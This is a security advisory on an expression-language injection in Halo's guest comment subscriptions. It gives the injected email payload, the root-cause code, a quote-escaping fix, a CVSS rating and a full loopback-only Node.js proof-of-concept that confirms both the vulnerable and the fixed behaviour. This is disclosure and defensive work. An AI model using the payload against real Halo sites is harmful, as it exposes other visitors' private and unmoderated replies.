Expression Language Injection in Halo 2.15.0–2.25.4 Leads to Unauthorized Comment Reply Email Disclosure

Expression Language Injection in Halo 2.15.0–2.25.4 Leads to Unauthorized Comment Reply Email Disclosure#

Author: hiro

Affected versions: Halo 2.15.0 through 2.25.4 (source-confirmed); Halo 2.25.4 (dynamically reproduced)

Vendor: Halo GitHub Repository

Product: Halo

Affected file: application/src/main/java/run/halo/app/content/comment/ReplyNotificationSubscriptionHelper.java

Description#

  1. Expression Language Injection via Guest Reply Subscription:

    • When guest comments are enabled, Halo creates a reply-notification subscription for an anonymous visitor.

    • The visitor identity, which contains the submitted email address, is inserted directly into a Spring Expression Language (SpEL) expression.

    • Single quotes in the identity are not escaped before the expression is stored and later evaluated.

  2. Exploiting the Expression Injection:

    • An unauthenticated visitor submits a comment using an email address whose local-part contains SpEL operators.

    • Halo creates a syntactically valid subscription in which the injected true operand changes an equality check into an always-true condition.

    • When another visitor later replies to an unrelated comment, the attacker's subscription also matches and Halo sends the reply notification to the attacker.

  3. Example Expression Injection Payload:

Guest email:

a'||true||'a@example.com

Expression stored by Halo:

props.repliedOwner == 'anonymousUser#a'||true||'a@example.com'

The middle true operand makes the expression evaluate to true even when props.repliedOwner belongs to a different visitor.

  1. Security Impact:

    • The attacker receives email notifications containing comment and reply content that belongs to an unrelated visitor.

    • If comment review is required, the reproduced notification contains a reply whose approved value is false and whose unique marker is absent from the anonymous public reply API.

    • This demonstrates unauthorized disclosure of content that is not yet publicly visible.

  2. Attack Preconditions:

    • Guest comments are enabled (systemUserOnly=false).

    • Reply email notifications are configured.

    • Another visitor replies to an approved comment after the malicious subscription is created.

    • The outbound mail path accepts the crafted local-part, or the attacker controls a catch-all domain that accepts it.

    • Disclosure of moderated content additionally requires requireReviewForNew=true.

  3. Root Cause:

The affected code builds executable expression text from an unescaped identity:

interestReason.setExpression(
   "props.repliedOwner == '%s'".formatted(identity.name()));

identity.name() is treated as SpEL source code instead of data. In a SpEL single-quoted string literal, a literal single quote must be represented by two single quotes.

  1. Recommended Remediation:

    • Prefer an implementation that does not construct executable expression text from user-controlled data.

    • A minimal compatibility fix is to escape single quotes before interpolation.

var escapedIdentityName = identity.name().replace("'", "''");
interestReason.setExpression(
   "props.repliedOwner == '%s'".formatted(escapedIdentityName));

Regression tests should cover a normal visitor identity, the crafted identity above, legitimate notification delivery, and non-delivery to an unrelated subscriber.

  1. Vulnerability Classification:

    • CWE: CWE-917 (Improper Neutralization of Special Elements used in an Expression Language Statement)

    • Secondary impact category: CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor)

    • Conservative CVSS v3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N — 3.1 Low

    • If the mail-routing requirements are treated as ordinary deployment preconditions rather than additional attack complexity, AC:L produces 4.3 Medium.

Proof of Concept#

  1. Prepare an Isolated Test Environment:

    • Use a fresh, uninitialized Halo 2.25.4 instance. The PoC initializes the instance and changes its comment and email settings; do not run it against a production installation.

    • The reproduced environment used Halo 2.25.4 at commit 8206752d23e3499154e7170cadafaaf62bfb63ab, Temurin JDK 21.0.11+10, Node.js 24.15.0, and H2.

    • Both Halo and the in-process SMTP sink must remain on loopback interfaces.

  2. Start Halo on Loopback:

Example PowerShell command:

& '<path-to-java-21>\bin\java.exe' `
 '-Dfile.encoding=UTF-8' '-Xms256m' '-Xmx512m' `
 -jar '.\halo-2.25.4.jar' `
 '--server.address=127.0.0.1' `
 '--server.port=8096' `
 '--halo.work-dir=./hexpr-poc-data' `
 '--halo.external-url=http://127.0.0.1:8096/'

Wait until http://127.0.0.1:8096/actuator/health reports UP.

  1. Save and Run the PoC:

Save the complete source code below as poc-hexpr-e2e.cjs, or use the standalone attachment. The standalone file SHA-256 is:

fd75a623b4c1410fbedd323d265c2aa2da50976486c8b76f1192c44bcde00caa

Run the moderation-boundary reproduction:

node .\poc-hexpr-e2e.cjs http://127.0.0.1:8096 2529 vulnerable moderation
  1. Automated Validation Performed by the PoC:

    • Generates random local administrator credentials in memory and initializes Halo.

    • Enables guest comments and configures the email notifier to use an in-process SMTP sink bound to 127.0.0.1.

    • Confirms that the legitimate comment owner receives a baseline reply notification while an ordinary unrelated subscriber does not.

    • Creates the crafted guest subscription and confirms that Halo stored the unescaped expression.

    • Enables comment review, creates an unapproved reply to an unrelated visitor, and checks that the reply marker is absent from the anonymous public API.

    • Confirms that both the legitimate owner and the injected subscriber receive the same reply content.

  2. Verify the Vulnerable Result:

    • The process exits with status code 0 only when all positive and negative controls pass.

    • A vulnerable build returns a JSON result containing the following fields.

{
 "candidate": "H-EXPR-01",
 "sourceVersion": "v2.25.4",
 "impactMode": "moderation",
 "result": "CONFIRMED"
}

The relevant assertions are triggerReplyApproved=false, triggerMarkerVisibleToAnonymous=false, legitimateVictimReceived=true, attackerReceivedUnrelatedNotification=true, and normalControlStillDidNotReceive=true.

  1. Fix Verification:

    • The minimal single-quote escaping patch was tested against the same HTTP/SMTP flow.

    • The security regression test failed on the original source and passed after the patch; the related test groups passed 9/9.

    • The patched build returned FIX_CONFIRMED: the legitimate owner still received the notification and the injected subscriber did not.

  2. Complete PoC Source Code:

    • The code block below is the complete standalone file, including its final newline.

    • It uses only Node.js built-in modules, refuses non-loopback HTTP targets, generates test secrets in memory, and does not print those secrets.

"use strict";

const crypto = require("node:crypto");
const net = require("node:net");

const baseUrl = process.argv[2] || "http://127.0.0.1:8093";
const smtpPort = Number.parseInt(process.argv[3] || "2526", 10);
const expectation = process.argv[4] || "vulnerable";
const impactMode = process.argv[5] || "public";
if (!["vulnerable", "fixed"].includes(expectation)) {
console.error(JSON.stringify({
candidate: "H-EXPR-01",
result: "ENVIRONMENT_ERROR",
reason: "Expectation must be either vulnerable or fixed",
}));
process.exit(2);
}
if (!["public", "moderation"].includes(impactMode)) {
console.error(JSON.stringify({
candidate: "H-EXPR-01",
result: "ENVIRONMENT_ERROR",
reason: "Impact mode must be either public or moderation",
}));
process.exit(2);
}
const parsedBaseUrl = new URL(baseUrl);
const loopbackHosts = new Set(["127.0.0.1", "localhost", "::1"]);
if (!loopbackHosts.has(parsedBaseUrl.hostname)) {
console.error(JSON.stringify({
candidate: "H-EXPR-01",
result: "ENVIRONMENT_ERROR",
reason: "PoC refuses non-loopback HTTP targets",
}));
process.exit(2);
}
if (!Number.isInteger(smtpPort) || smtpPort < 1024 || smtpPort > 65535) {
console.error(JSON.stringify({
candidate: "H-EXPR-01",
result: "ENVIRONMENT_ERROR",
reason: "SMTP port must be an unprivileged TCP port",
}));
process.exit(2);
}

const POST_NAME = "5152aea5-c2e8-4717-8bba-2263d46e19d5";
const COMMENT_API = "/apis/api.halo.run/v1alpha1/comments";
const SUBSCRIPTION_API = "/apis/notification.halo.run/v1alpha1/subscriptions?page=0&size=100";
const SMTP_CONFIG_API =
"/apis/api.console.halo.run/v1alpha1/notifiers/default-email-notifier/sender-config";

class CookieJar {
constructor() {
this.cookies = new Map();
}

absorb(headers) {
let values = [];
if (typeof headers.getSetCookie === "function") {
values = headers.getSetCookie();
} else {
const combined = headers.get("set-cookie");
if (combined) {
values = combined.split(/,(?=[^;,]+=)/u);
}
}
for (const value of values) {
const pair = value.split(";", 1)[0];
const index = pair.indexOf("=");
if (index <= 0) {
continue;
}
const name = pair.slice(0, index).trim();
const cookieValue = pair.slice(index + 1).trim();
if (/max-age=0/iu.test(value) || cookieValue === "") {
this.cookies.delete(name);
} else {
this.cookies.set(name, cookieValue);
}
}
}

header() {
return [...this.cookies.entries()]
.map(([name, value]) => `${name}=${value}`)
.join("; ");
}

get(name) {
return this.cookies.get(name);
}
}

async function request(jar, path, options = {}) {
const headers = new Headers(options.headers || {});
const cookie = jar?.header();
if (cookie) {
headers.set("Cookie", cookie);
}
const response = await fetch(new URL(path, baseUrl), {
...options,
headers,
redirect: "manual",
});
jar?.absorb(response.headers);
const text = await response.text();
return {
status: response.status,
location: response.headers.get("location"),
text,
headers: response.headers,
};
}

async function jsonRequest(jar, path, method = "GET", body, includeCsrf = true) {
const headers = {
Accept: "application/json",
"X-Requested-With": "XMLHttpRequest",
};
if (body !== undefined) {
headers["Content-Type"] = "application/json";
}
if (includeCsrf && jar) {
const csrf = jar.get("XSRF-TOKEN");
if (!csrf) {
throw new Error(`Missing XSRF-TOKEN before ${method} ${path}`);
}
headers["X-XSRF-TOKEN"] = decodeURIComponent(csrf);
}
const response = await request(jar, path, {
method,
headers,
body: body === undefined ? undefined : JSON.stringify(body),
});
let json;
try {
json = response.text ? JSON.parse(response.text) : undefined;
} catch {
json = undefined;
}
return {...response, json};
}

function requireStatus(response, expected, label) {
const allowed = Array.isArray(expected) ? expected : [expected];
if (!allowed.includes(response.status)) {
throw new Error(`${label}: expected ${allowed.join("/")} but got ${response.status}`);
}
}

function extractLoginMaterial(html) {
const csrf = html.match(/name="_csrf"\s+value="([^"]+)"/u)?.[1];
const publicKeyLiteral = html.match(/const publicKey = "([^"]+)"/u)?.[1];
if (!csrf || !publicKeyLiteral) {
throw new Error("Could not extract login CSRF token or RSA public key");
}
return {
csrf,
publicKey: publicKeyLiteral.replaceAll("\\/", "/"),
};
}

function encryptPassword(password, publicKeyBase64) {
const key = crypto.createPublicKey({
key: Buffer.from(publicKeyBase64, "base64"),
format: "der",
type: "spki",
});
return crypto.publicEncrypt({
key,
padding: crypto.constants.RSA_PKCS1_PADDING,
}, Buffer.from(password, "utf8")).toString("base64");
}

async function login(username, password) {
const jar = new CookieJar();
const loginPage = await request(jar, "/login", {
headers: {Accept: "text/html"},
});
requireStatus(loginPage, 200, "GET /login");
const {csrf, publicKey} = extractLoginMaterial(loginPage.text);
const form = new URLSearchParams({
_csrf: csrf,
username,
password: encryptPassword(password, publicKey),
});
const response = await request(jar, "/login", {
method: "POST",
headers: {
Accept: "application/json",
"Content-Type": "application/x-www-form-urlencoded",
"X-Requested-With": "XMLHttpRequest",
},
body: form,
});
return {jar, response};
}

function delay(milliseconds) {
return new Promise((resolve) => setTimeout(resolve, milliseconds));
}

async function poll(label, operation, predicate, timeoutMs = 20_000, intervalMs = 250) {
const deadline = Date.now() + timeoutMs;
let lastValue;
let lastError;
while (Date.now() < deadline) {
try {
lastValue = await operation();
if (predicate(lastValue)) {
return lastValue;
}
lastError = undefined;
} catch (error) {
lastError = error;
}
await delay(intervalMs);
}
const detail = lastError ? lastError.message : JSON.stringify(lastValue);
throw new Error(`${label}: timed out; last observation: ${detail}`);
}

function smtpRecipient(line) {
const angle = line.match(/<([^>]*)>/u)?.[1];
if (angle !== undefined) {
return angle;
}
return line.slice(line.indexOf(":") + 1).trim();
}

async function startSmtpSink(port) {
const messages = [];
const sockets = new Set();
const stats = {
connections: 0,
authenticatedConnections: 0,
messagesAccepted: 0,
};

const server = net.createServer((socket) => {
sockets.add(socket);
stats.connections += 1;
socket.setEncoding("utf8");
socket.write("220 localhost H-EXPR-01 isolated SMTP sink\r\n");

let buffer = "";
let mode = "command";
let authStage = null;
let mailFrom = null;
let recipients = [];
let dataLines = [];

const reply = (line) => socket.write(`${line}\r\n`);
const resetTransaction = () => {
mailFrom = null;
recipients = [];
dataLines = [];
mode = "command";
};

const onLine = (line) => {
if (mode === "data") {
if (line === ".") {
const raw = dataLines
.map((dataLine) => dataLine.startsWith("..") ? dataLine.slice(1) : dataLine)
.join("\r\n");
messages.push({
mailFrom,
recipients: [...recipients],
raw,
receivedAt: new Date().toISOString(),
});
stats.messagesAccepted += 1;
resetTransaction();
reply("250 2.0.0 queued in memory");
} else {
dataLines.push(line);
}
return;
}

if (authStage === "username") {
authStage = "password";
reply("334 UGFzc3dvcmQ6");
return;
}
if (authStage === "password" || authStage === "plain") {
authStage = null;
stats.authenticatedConnections += 1;
reply("235 2.7.0 authentication successful");
return;
}

const [verbRaw, ...rest] = line.split(" ");
const verb = verbRaw.toUpperCase();
const argument = rest.join(" ");
switch (verb) {
case "EHLO":
socket.write(
"250-localhost\r\n"
+ "250-AUTH LOGIN PLAIN\r\n"
+ "250-8BITMIME\r\n"
+ "250 SIZE 10485760\r\n",
);
break;
case "HELO":
reply("250 localhost");
break;
case "AUTH": {
const [mechanismRaw, initialResponse] = argument.split(" ");
const mechanism = (mechanismRaw || "").toUpperCase();
if (mechanism === "PLAIN") {
if (initialResponse) {
stats.authenticatedConnections += 1;
reply("235 2.7.0 authentication successful");
} else {
authStage = "plain";
reply("334");
}
} else if (mechanism === "LOGIN") {
if (initialResponse) {
authStage = "password";
reply("334 UGFzc3dvcmQ6");
} else {
authStage = "username";
reply("334 VXNlcm5hbWU6");
}
} else {
reply("504 5.5.4 unsupported authentication mechanism");
}
break;
}
case "MAIL":
mailFrom = smtpRecipient(line);
recipients = [];
reply("250 2.1.0 sender accepted");
break;
case "RCPT":
recipients.push(smtpRecipient(line));
reply("250 2.1.5 recipient accepted");
break;
case "DATA":
if (!mailFrom || recipients.length === 0) {
reply("503 5.5.1 need MAIL FROM and RCPT TO");
} else {
mode = "data";
dataLines = [];
reply("354 end with <CRLF>.<CRLF>");
}
break;
case "RSET":
resetTransaction();
reply("250 2.0.0 reset");
break;
case "NOOP":
reply("250 2.0.0 ok");
break;
case "QUIT":
reply("221 2.0.0 bye");
socket.end();
break;
default:
reply("250 2.0.0 ok");
}
};

socket.on("data", (chunk) => {
buffer += chunk;
let index;
while ((index = buffer.indexOf("\r\n")) >= 0) {
const line = buffer.slice(0, index);
buffer = buffer.slice(index + 2);
onLine(line);
}
});
socket.on("close", () => sockets.delete(socket));
socket.on("error", () => sockets.delete(socket));
});

await new Promise((resolve, reject) => {
server.once("error", reject);
server.listen({host: "127.0.0.1", port}, () => {
server.off("error", reject);
resolve();
});
});

return {
messages,
stats,
clear() {
messages.length = 0;
},
async close() {
for (const socket of sockets) {
socket.end();
}
await new Promise((resolve) => server.close(resolve));
},
};
}

function guestOwner(email, displayName) {
return {
email,
displayName,
avatar: "",
website: "",
};
}

async function createGuestComment(email, displayName, marker) {
const payload = {
subjectRef: {
group: "content.halo.run",
version: "v1alpha1",
kind: "Post",
name: POST_NAME,
},
owner: guestOwner(email, displayName),
raw: marker,
content: `<p>${marker}</p>`,
allowNotification: false,
hidden: false,
};
return poll(
`create guest comment ${displayName}`,
() => jsonRequest(null, COMMENT_API, "POST", payload, false),
(response) => response.status === 200,
12_000,
400,
);
}

async function createGuestReply(commentName, email, displayName, marker) {
const payload = {
owner: guestOwner(email, displayName),
raw: marker,
content: `<p>${marker}</p>`,
allowNotification: false,
hidden: false,
quoteReply: "",
};
return jsonRequest(
null,
`${COMMENT_API}/${encodeURIComponent(commentName)}/reply`,
"POST",
payload,
false,
);
}

function subscriptionItems(response) {
requireStatus(response, 200, "list subscriptions");
return Array.isArray(response.json?.items) ? response.json.items : [];
}

function findSubscription(items, subscriberName) {
return items.find((item) => item?.spec?.subscriber?.name === subscriberName);
}

function summarizeMessages(messages, markers) {
const rows = [];
for (const message of messages) {
for (const recipient of message.recipients) {
rows.push({
recipient,
containsVictimCommentMarker: message.raw.includes(markers.victimComment),
containsBaselineReplyMarker: message.raw.includes(markers.baselineReply),
containsExploitReplyMarker: message.raw.includes(markers.exploitReply),
rawSha256: crypto.createHash("sha256").update(message.raw).digest("hex"),
});
}
}
return rows;
}

async function main() {
const smtp = await startSmtpSink(smtpPort);
try {
const evidence = {
candidate: "H-EXPR-01",
product: "Halo",
sourceVersion: "v2.25.4",
sourceCommit: "8206752d23e3499154e7170cadafaaf62bfb63ab",
baseUrl,
smtp: `127.0.0.1:${smtpPort}`,
expectation,
impactMode,
executedAt: new Date().toISOString(),
scopeGuard: "loopback-only",
realSecretsUsed: false,
secretsPrinted: false,
controls: {},
exploit: {},
};

const health = await request(null, "/actuator/health", {
headers: {Accept: "application/json"},
});
requireStatus(health, 200, "health check");
evidence.health = JSON.parse(health.text).status;

const username = `expr-${crypto.randomBytes(6).toString("hex")}`;
const password = `A9!${crypto.randomBytes(14).toString("hex")}`;
evidence.accountIdSha256 = crypto
.createHash("sha256")
.update(username)
.digest("hex");

const setup = await request(null, "/system/setup", {
method: "POST",
headers: {
Accept: "application/json",
"Content-Type": "application/x-www-form-urlencoded",
},
body: new URLSearchParams({
username,
password,
email: `${username}@example.invalid`,
siteTitle: "H-EXPR-01 isolated validation",
language: "zh-CN",
externalUrl: `${baseUrl}/`,
}),
});
requireStatus(setup, 204, "setup");
evidence.setupStatus = setup.status;

const loginResult = await login(username, password);
requireStatus(loginResult.response, 200, "admin login");
const adminJar = loginResult.jar;

const commentConfig = {
enable: true,
requireReviewForNew: false,
systemUserOnly: false,
};
const updateCommentConfig = await jsonRequest(
adminJar,
"/apis/console.api.halo.run/v1alpha1/systemconfigs/comment",
"PUT",
commentConfig,
);
requireStatus(updateCommentConfig, 204, "enable guest comments");
const observedCommentConfig = await poll(
"observe guest comment config",
() => jsonRequest(
adminJar,
"/apis/console.api.halo.run/v1alpha1/systemconfigs/comment",
),
(response) => response.status === 200
&& response.json?.enable === true
&& response.json?.requireReviewForNew === false
&& response.json?.systemUserOnly === false,
);
evidence.commentConfig = observedCommentConfig.json;

const smtpPassword = crypto.randomBytes(18).toString("hex");
const smtpConfig = await jsonRequest(adminJar, SMTP_CONFIG_API, "POST", {
enable: true,
username: "sender@example.invalid",
sender: "sender@example.invalid",
password: smtpPassword,
displayName: "H-EXPR-01 local sender",
host: "127.0.0.1",
port: smtpPort,
encryption: "NONE",
});
requireStatus(smtpConfig, 200, "configure local SMTP sender");
evidence.smtpConfigStatus = smtpConfig.status;

const token = crypto.randomBytes(5).toString("hex");
const emails = {
normalControl: `normal-${token}@example.invalid`,
victim: `victim-${token}@example.invalid`,
baselineReplier: `baseline-replier-${token}@example.invalid`,
exploitReplier: `exploit-replier-${token}@example.invalid`,
attacker: "a'||true||'a@example.com",
};
const identities = Object.fromEntries(
Object.entries(emails).map(([key, email]) => [key, `anonymousUser#${email}`]),
);
const markers = {
normalControl: `H-EXPR-NORMAL-${token}`,
victimComment: `H-EXPR-VICTIM-${token}`,
baselineReply: `H-EXPR-BASELINE-REPLY-${token}`,
attackerComment: `H-EXPR-ATTACKER-${token}`,
exploitReply: `H-EXPR-EXPLOIT-REPLY-${token}`,
};

const normalComment = await createGuestComment(
emails.normalControl,
"Normal unrelated subscriber",
markers.normalControl,
);
const victimComment = await createGuestComment(
emails.victim,
"Victim comment owner",
markers.victimComment,
);
requireStatus(normalComment, 200, "create normal control comment");
requireStatus(victimComment, 200, "create victim comment");
const victimCommentName = victimComment.json?.metadata?.name;
if (!victimCommentName) {
throw new Error("Victim comment response did not contain metadata.name");
}
evidence.controls.allowNotificationSubmitted = {
normal: normalComment.json?.spec?.allowNotification,
victim: victimComment.json?.spec?.allowNotification,
};

const baselineSubscriptions = await poll(
"wait for baseline subscriptions",
() => jsonRequest(adminJar, SUBSCRIPTION_API),
(response) => {
const items = response.status === 200 ? subscriptionItems(response) : [];
return Boolean(
findSubscription(items, identities.normalControl)
&& findSubscription(items, identities.victim),
);
},
);
const baselineItems = subscriptionItems(baselineSubscriptions);
const normalSubscription = findSubscription(baselineItems, identities.normalControl);
const victimSubscription = findSubscription(baselineItems, identities.victim);
evidence.controls.normalExpression = normalSubscription?.spec?.reason?.expression;
evidence.controls.victimExpression = victimSubscription?.spec?.reason?.expression;
evidence.controls.subscriptionCreatedDespiteAllowNotificationFalse =
Boolean(normalSubscription && victimSubscription);

smtp.clear();
const baselineReply = await createGuestReply(
victimCommentName,
emails.baselineReplier,
"Baseline unrelated replier",
markers.baselineReply,
);
requireStatus(baselineReply, 200, "create baseline reply");
await poll(
"wait for legitimate baseline victim email",
async () => smtp.messages,
(messages) => messages.some((message) => message.recipients.includes(emails.victim)),
20_000,
250,
);
await delay(750);
const baselineMessageSummary = summarizeMessages(smtp.messages, markers);
evidence.controls.baselineMessages = baselineMessageSummary;
evidence.controls.baselineVictimReceived = baselineMessageSummary
.some((message) => message.recipient === emails.victim
&& message.containsVictimCommentMarker
&& message.containsBaselineReplyMarker);
evidence.controls.normalUnrelatedSubscriberDidNotReceive = !baselineMessageSummary
.some((message) => message.recipient === emails.normalControl);
if (!evidence.controls.baselineVictimReceived
|| !evidence.controls.normalUnrelatedSubscriberDidNotReceive) {
throw new Error("Baseline notification routing did not match the expected control");
}

smtp.clear();
const attackerComment = await createGuestComment(
emails.attacker,
"Injected expression subscriber",
markers.attackerComment,
);
requireStatus(attackerComment, 200, "create injected-expression comment");
evidence.exploit.allowNotificationSubmitted =
attackerComment.json?.spec?.allowNotification;

const injectedSubscriptions = await poll(
"wait for injected subscription",
() => jsonRequest(adminJar, SUBSCRIPTION_API),
(response) => {
const items = response.status === 200 ? subscriptionItems(response) : [];
return Boolean(findSubscription(items, identities.attacker));
},
);
const injectedItems = subscriptionItems(injectedSubscriptions);
const attackerSubscription = findSubscription(injectedItems, identities.attacker);
evidence.exploit.subscriber = attackerSubscription?.spec?.subscriber?.name;
evidence.exploit.expression = attackerSubscription?.spec?.reason?.expression;
evidence.exploit.expressionContainsUnescapedInput =
evidence.exploit.expression
=== "props.repliedOwner == 'anonymousUser#a'||true||'a@example.com'";
evidence.exploit.expressionEscapedSafely =
evidence.exploit.expression
=== "props.repliedOwner == 'anonymousUser#a''||true||''a@example.com'";

if (impactMode === "moderation") {
const requireReviewConfig = {
enable: true,
requireReviewForNew: true,
systemUserOnly: false,
};
const updateRequireReview = await jsonRequest(
adminJar,
"/apis/console.api.halo.run/v1alpha1/systemconfigs/comment",
"PUT",
requireReviewConfig,
);
requireStatus(updateRequireReview, 204, "enable moderation before exploit trigger");
const observedRequireReview = await poll(
"observe moderation config",
() => jsonRequest(
adminJar,
"/apis/console.api.halo.run/v1alpha1/systemconfigs/comment",
),
(response) => response.status === 200
&& response.json?.enable === true
&& response.json?.requireReviewForNew === true
&& response.json?.systemUserOnly === false,
);
evidence.exploit.moderationConfig = observedRequireReview.json;
}

smtp.clear();
const exploitReply = await createGuestReply(
victimCommentName,
emails.exploitReplier,
"Exploit unrelated replier",
markers.exploitReply,
);
requireStatus(exploitReply, 200, "create exploit trigger reply");
evidence.exploit.triggerReplyApproved = exploitReply.json?.spec?.approved;
if (impactMode === "moderation") {
const publicReplies = await jsonRequest(
null,
`${COMMENT_API}/${encodeURIComponent(victimCommentName)}/reply?page=1&size=100`,
"GET",
undefined,
false,
);
requireStatus(publicReplies, 200, "anonymous public reply list");
evidence.exploit.publicReplyListStatus = publicReplies.status;
evidence.exploit.triggerMarkerVisibleToAnonymous =
JSON.stringify(publicReplies.json).includes(markers.exploitReply);
}
if (expectation === "vulnerable") {
await poll(
"wait for injected and legitimate emails",
async () => smtp.messages,
(messages) => {
const recipients = new Set(messages.flatMap((message) => message.recipients));
return recipients.has(emails.attacker) && recipients.has(emails.victim);
},
20_000,
250,
);
await delay(750);
} else {
await poll(
"wait for legitimate fixed-build email",
async () => smtp.messages,
(messages) => messages
.some((message) => message.recipients.includes(emails.victim)),
20_000,
250,
);
await delay(1_500);
}
const exploitMessageSummary = summarizeMessages(smtp.messages, markers);
evidence.exploit.messages = exploitMessageSummary;
evidence.exploit.attackerReceivedUnrelatedNotification = exploitMessageSummary
.some((message) => message.recipient === emails.attacker
&& message.containsVictimCommentMarker
&& message.containsExploitReplyMarker);
evidence.exploit.legitimateVictimReceived = exploitMessageSummary
.some((message) => message.recipient === emails.victim
&& message.containsVictimCommentMarker
&& message.containsExploitReplyMarker);
evidence.exploit.attackerDidNotReceiveUnrelatedNotification =
!evidence.exploit.attackerReceivedUnrelatedNotification;
evidence.exploit.normalControlStillDidNotReceive = !exploitMessageSummary
.some((message) => message.recipient === emails.normalControl);
evidence.smtpStats = smtp.stats;

const controlsPassed = evidence.health === "UP"
&& evidence.commentConfig.enable === true
&& evidence.commentConfig.requireReviewForNew === false
&& evidence.commentConfig.systemUserOnly === false
&& evidence.controls.subscriptionCreatedDespiteAllowNotificationFalse
&& evidence.controls.baselineVictimReceived
&& evidence.controls.normalUnrelatedSubscriberDidNotReceive
&& evidence.exploit.allowNotificationSubmitted === false
&& evidence.exploit.legitimateVictimReceived
&& evidence.exploit.normalControlStillDidNotReceive
&& evidence.smtpStats.authenticatedConnections > 0;
const impactChecksPassed = impactMode === "public"
|| (evidence.exploit.moderationConfig?.requireReviewForNew === true
&& evidence.exploit.triggerReplyApproved === false
&& evidence.exploit.publicReplyListStatus === 200
&& evidence.exploit.triggerMarkerVisibleToAnonymous === false);
const vulnerablePassed = expectation === "vulnerable"
&& evidence.exploit.expressionContainsUnescapedInput
&& evidence.exploit.attackerReceivedUnrelatedNotification;
const fixedPassed = expectation === "fixed"
&& evidence.exploit.expressionEscapedSafely
&& evidence.exploit.attackerDidNotReceiveUnrelatedNotification;
const passed = controlsPassed
&& impactChecksPassed
&& (vulnerablePassed || fixedPassed);

evidence.result = passed
? (expectation === "vulnerable" ? "CONFIRMED" : "FIX_CONFIRMED")
: "NOT_REPRODUCED";
return evidence;
} finally {
await smtp.close();
}
}

main()
.then((evidence) => {
console.log(JSON.stringify(evidence, null, 2));
process.exitCode = ["CONFIRMED", "FIX_CONFIRMED"].includes(evidence.result) ? 0 : 1;
})
.catch((error) => {
console.error(JSON.stringify({
candidate: "H-EXPR-01",
product: "Halo",
sourceVersion: "v2.25.4",
baseUrl,
smtp: `127.0.0.1:${smtpPort}`,
expectation,
impactMode,
executedAt: new Date().toISOString(),
result: "ENVIRONMENT_ERROR",
error: error.message,
realSecretsUsed: false,
secretsPrinted: false,
}, null, 2));
process.exitCode = 2;
});
最后更新于